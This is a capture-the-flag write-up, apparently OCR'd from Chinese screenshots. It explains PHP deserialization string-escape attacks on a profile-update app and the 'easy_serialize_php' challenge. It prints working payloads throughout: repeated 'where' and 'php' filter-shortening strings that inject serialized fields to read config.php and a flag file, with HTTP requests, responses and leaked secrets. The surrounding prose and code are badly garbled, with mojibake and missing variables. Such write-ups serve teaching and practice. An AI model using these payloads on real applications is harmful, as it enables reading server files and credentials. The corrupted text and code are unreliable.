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config.php

[ "hostname' '127.0.0.1";

[ "username’ 'root’;

[ "password’ B
[ "database’ B

]

profile.php

require_once('class.php');
if( ["username’ ] null) {

die('Login First');

["username'];
show_profile(
if( null) {

header('Location: update.php');

}
else {
unserialize(
[*phone’1;
["email'];
[*nickname'];
base64_encode(file_get_ contents( ['photo']));

update.php



require_once('class.php');
if( ["username’ ] null) {
die('Login First');

[ "phone’ ] ["email'] [ "'nickname" ] ["photo']) {

["username'];
if(!preg_match('/~\d{11}$/', ["phone']))
die('Invalid phone');

if(!preg match('/~[_a-zA-Z20-9]{1,10}@[ _a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$%$/"', ["email']))
die('Invalid email');

if(preg match('/[*a-zA-Z0-9 ]/', [ "'nickname']) strlen( [ "'nickname']) 10)

die('Invalid nickname');

["photo'];
if( ['size'] 5 or ['size'] 1000000)
die('Photo size error');

move_uploaded_file( ["tmp_name'], 'upload/' . md5( [‘name']));
[ "phone'] ["phone'];
["email'] ["email'];
["nickname" ] ["nickname'];
["photo'] ‘upload/" . md5( ['name']);

update_profile( , serialize( ))s
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>"';

}

else {

class.php

require('config.php');

class user extends mysql{
private ‘users’;

public function is_exists(

parent::filter(
"username = ' y
return parent::select( table, )

b

public function register( ) {
parent::filter( )
parent::filter( )

Array('username', 'password');
Array( , md5( ));
return parent::insert( table, )
)i
public function login( 5
parent::filter(
parent::filter(




parent::select( table,
if ( password md5 (
return true;
} else {
return false;

}

public function show profile(

parent::filter(

"username =
parent::select(
return profile;
)i
public function update profile(
parent::filter(
parent::filter(
"username = ' y
return parent::update( table, 'profile’,
)i
public function __ tostring() {

return __class__;

class mysql {
private null;

public function connect( ) {
link = mysql_connect(

[ "hostname'],

[*username'],

[ "password’ ]
)5
mysql_select_db( ['database']);
mysql_query("SET sql_mode='strict_all tables'");

return link;

public function select(
"SELECT FROM
mysql_query ( s
return mysql fetch_object(

public function insert( ) {

implode(', ', )3
"\'' . implode('\',\'", o "\""3
"INSERT INTO ¢ ) VALUES ( N
return mysql query( )

public function update( 5
"UPDATE SET
return mysql query( )




public function filter( ) {
array("\""', "\\\\");
'/' . implode('|"',

preg_replace(

array('select', 'insert', 'update', ‘'delete', 'where');
'/' . implode('|"', ) . /it
return preg_replace( "hacker', )
)i
public function _ tostring()

return __class__;

}

session_start();
new user();

connect(

u] LA FlflagfEconfig.php
profile.php 15 2 B AT BB B 32 BUX /4N config.php A RE 18 Bllflag, T A 2= $% SCAF BRI A

unserialize(
['phone’];
["email'];
[ "'nickname'];
base64_encode(file_get contents( ['photo']));

BRI T RFFIN, RBABIEEMIEF I/ $profile, #§photoZZ B {E Hyconfig.php AT s B i% 34 -

BAVEE — T EBE BRI
fEupdate.php 34

[ "phone’ ] [ "phone’];
["email'] ["email"];
["nickname’ ] [ "nickname"'];
["photo'] "upload/" . md5( ['name']);

update_profile( , serialize( ))s
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

ENT BHFXNUAME, REREBAEFFIL G H AuserEH ifjupdate_profile 7% F AT EKRE R . RERINEFATN SR
FrobJa R Bl 45 BATEE B1E B
{HRBATEEmysqIE )X -

public function filter( ) {
array("\"", "\\\\'");
'/' . implode('|"',
preg_replace(

array('select', 'insert', 'update', 'delete', 'where');
'/' . implode('|"', ) ./t
return preg_replace( , '"hacker', )




0x03 & 7 54k 7 1F ik i
RATERME BRBLEFFULFEASARER, FILmRRIERS B F AT R0, i,

@:2:{i:0;s:6:"select";i:1;s:5:"world";}

BRHEBHAN

@:2:{i:0;s:6:"hacker";i:1;s:5:"world";}

REFFINEIEEPLT, FHAFRFEA ARG, HDREAN T where.

@:2:{i:0;s:5:"where";i:1;s:5:"world";}

EBN:

@:2:{i:0;s:5:"hacker";i:1;s:5:"world";}

XEEMES RIS, B AwhereR2 EANFERF, Mhacker&sAS, ST Hwhere AN HA#E R /SN ZERF, Fibl R Bwhere< 4k,
BRI R AT R . LA IIEhacker® R HIIX A rE #pk";i1;s:5:“world”; )i,

@:2:{i:0;s:5:"hacke";i:1;s:5:"world";}";i:1;s:5:"world";}

php [ 7 FIAL BT £ 208 J5 T B AR 384"i1;8:5:“world™;}, AT PART LA 7 51 46 s T

FrCARATAT A2 5 J 1A where, XEEEB BN SL B — AN RNWEFZFERE—ANE, BRITFE
E"}s:5:“photo”;s:10:“config.php”;JINTE J& [ A SR itconfig.php XX 4« L3425, HEMFEIMN34Iwhere, FT ARG 75 E A KI5
#A:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewh

erewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

RAEAE P FUAL G R R X B L -

{1:0;5:204: "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere
wherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";i:1;s:
5:"world";}

W XN Z R A EE204N BN .
# ¥ ~hacker/g :

{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhack

erhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"

photo";s:10:"config.php";}";i:1;s:5:"world";}

[ Ahackertbwhere % — A% 4%F, FTLLIEHF 548 T X ZRBIMANER, HEHLKR T Bk, @ LlshkF51k.

payloadMi&EMIN T, MEBAR T, BAVEH AL E A RE I NIX B R/
[B] 3k F§ & update.php H Fjwafy &5



if(!preg match('/~\d{11}$/',
die('Invalid phone');

["phone’]))

if(!preg match('/~[_a-zA-Z0-9]{1,10}@[ a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$%$/"',

die('Invalid email');

if(preg _match('/[*a-zA-Z0-9 ]/',

die('Invalid nickname');

["photo'];

if( ['size'] 5 or

['size']

die('Photo size error');

[ "'nickname'])

1000000)

["email']))

strlen( [ "'nickname'])

BRREARSILH, EnicknameXMNSH, KW UHBARIISET K.

R

Cookie: PHPSESSID=78434257 cf25f8b95h91b9h44eTI5fce
Upgrade-Insecure-Requests: 1

----------------------------- 18467633426500
Content-Disposition: form-data; name="phone"

12345678301
----------------------------- 18467E33426500
Content-Disposition: form-data; name="email"

123@111.com
----------------------------- 18467633426500
Content-Disposition: form-data; name="nickname[]"

wherewherewherewherewherawherewherewherewherewherewherewherewherewherewherewh
erewherewherewherewherewherewherewherewherewherewherewherewherewherewherewher
ewherewherewhere”; }s:5: "phota”; 5:10: "config. php™;}

----------------------------- 18467633426500

Content-Disposition: form-data; name="photo"; filename="1jpg"
M ommtmmd Tosimm Gmmm e fiwm e

Date: Thu, 18 Jul 2012 09:00:46 GMT

Content-Type: text/html; charset=UTF-3

Content-Length: 341

Connection: close

Cache-Contral: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Moy 1981 08:52:00 GMT

Pragma: no-cache

¥-Powered-By: PHP/E.6.40

Strict-Transpont-Security: max-age=63072000; includeSubdomains; preload
¥-Frame-Cptions: DENY

*-Content-Type-Options: nosniff

<hr />

<b=Warning</b>: preg_match() expects parameter 2 to he string, array given
<b=var’www/html/update.php</b> on line <b>15</b=<br />

<hr /=

<h=Warning</b>: strlen() expects parameter 1 to he string, array given in
<h=Nrar’'www/html/update.php</b= on line <b>13</h><hr />

Update Profile Success!<a href="profile.php">Your Profile</a>

BRAESERNEFT, T FHERERRNM AL RHBRINESHI T, B BN bas64 M i Zconfig A &

Hi Array

Phone: 12345678901 Email: 123@111.com



BEIFNRI, baseb4fifhiy

<?php

Sconfiglhostname’] ="127.0.0.71;
$configfusername’] = root’;
Sconfiglpassword] = g
Sconfig[database’] = | B

$flag = flag b peficoy45121wI3hTc015rb4):
T

R — kR
2019% il #F easy_serialize_php
YERD



[F'15

function filter( ){
array('php', 'flag', 'php5"', 'phpd’, 'flig');
'/ .implode('|", ). /it
// var_dump($filter);
return preg_replace( v )

["user"] 'guest’;

["function']

)

echo '<a href="un.php?f=highlight_file">source_code</a>";

["img_path"]){
["img"'] base64_encode('guest_img.png');

["img"'] shal(base64 encode( ['img_path']));

/ var_dump($_SESSION). '<br/>';
filter(serialize(

/echo $serialize_info. '<br/>';

if( "'highlight_file'){
highlight_file('un.php');

telse if( "phpinfo’){
eval('phpinfo();'); //maybe you can find something in here!

}else if( 'show_image'){

unserialize( )5

//var_dump ($userinfo) ;
echo file get contents(base64 decode(

VRS A MEELAR, KBUR R ikf=show_imagei# & & 5 —Mif& . AR5 RF5{tsession, Hlsession [img3Cft. {HZETEF 5
thsessiontf ZfilterB Hid 98 7 e, I HIBATIM B EEAIimg_pathfE & Z& i3 shal R )5 %session, ] LAE BIKJE R IELA
HICHR . BTAX B&eidimg_pathfs2, B4 sessionfBE, FlF i 8 41 I 5 50 AL 7 A7 b i S BRSO

payload: SESSION[BerLln][1]=phpphpphpphp& SESSION[BerL1n][2]=;1:2;s:55:"1111111111111111111111111111111111111117]
1111111111111111";}s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn

BAWTEITEE—T

s:55:" 111111111111 111111 1111111111 111111111 1111111111111111117 ) s:3:"img " 5:20: " L2QWZZNfZmxsb Gxsb GFn';}s:3:"img" "Z3VIc3RfaW1nLnBuZw==";}
array(2) { [1]=> string(12) " 1105:" [2]=> string(55) "1111111111111111111111111111111111111117111111111111111 mg"]=> string(20) "L2QwZzNfZmxsbGxsbGFn"

Warning: file_get_contents(/d0g3 fllllilag): failed to open stream: No such file or directory in D:\phpstudy\PHPTutoriaN\WWW\CTF\ACTF\un.php on line 40




array(2) { ["BerL1n"]=> array(2) { [1]=> string(12) "";i:2;s:105:" [2]=> string(55) "111111111111111111111111111]
11111111111212111211113112111131" } ["img"]=> string(20) "L2QwZzNfZmxsbGxsbGFn" }

Warning: file get_contents(/dog3_f11111llag): failed to open stream: No such file or directory in

AUE B P TR S, SRR R RANTRER, BEHKIimgESEMFF. THRRFINETUERISR, X5
T —AMEI UE B EL R BANVEZ R S, AR %A %3 .

i H hphpinfo &k B304
| PHP Version | f.0.33
Directive Local Value

allow url fopen On
allow url include Off
arg_separator.input &
arg separator.output &
auto_append file d0g3 flag.php
auto_globals jit On
auto _prepend file
browscap
default_charset UTF-8
default mimetype text/html
disable classes

SR e base64 4 i e BY LA

1| <%php

2

3| 3flazg = "flag in /d0=3_f111111las’ ;
4

5|7

EEflaghr B, EEflag

flag{c5e9629d-5921-4c88-b406-f3bda7dd4b54}

[x ﬂ Elements Console Sources Metwork Performance Memory Application Security 4

LOAD URL SPLIT URL EXECUTE URL sqLl -~ XSS -~ LFI - SS7

http://9557fe7d-7887-4a84-a6e5-6f09604f5d37.node3.buuoj.cn/index.php?f=show_image



enctype
. Enable POST application/x-www-form-urlencoded

Body

_SESSION[BerL1n][1]=phpphpphpphp&_SESSION[BerL1n]
[2]=;i:2;5:55:"1111111111111111111111111111111T111111111111111111111111%)8:3:"ime
wWZzNfZmxsbGxsbGFn

0x0448 4

RIEBEEERBHRAEE T RTFIIML, A Frrkiit kPRI BEME DB R, NI —BERSEER, FRHHAMR
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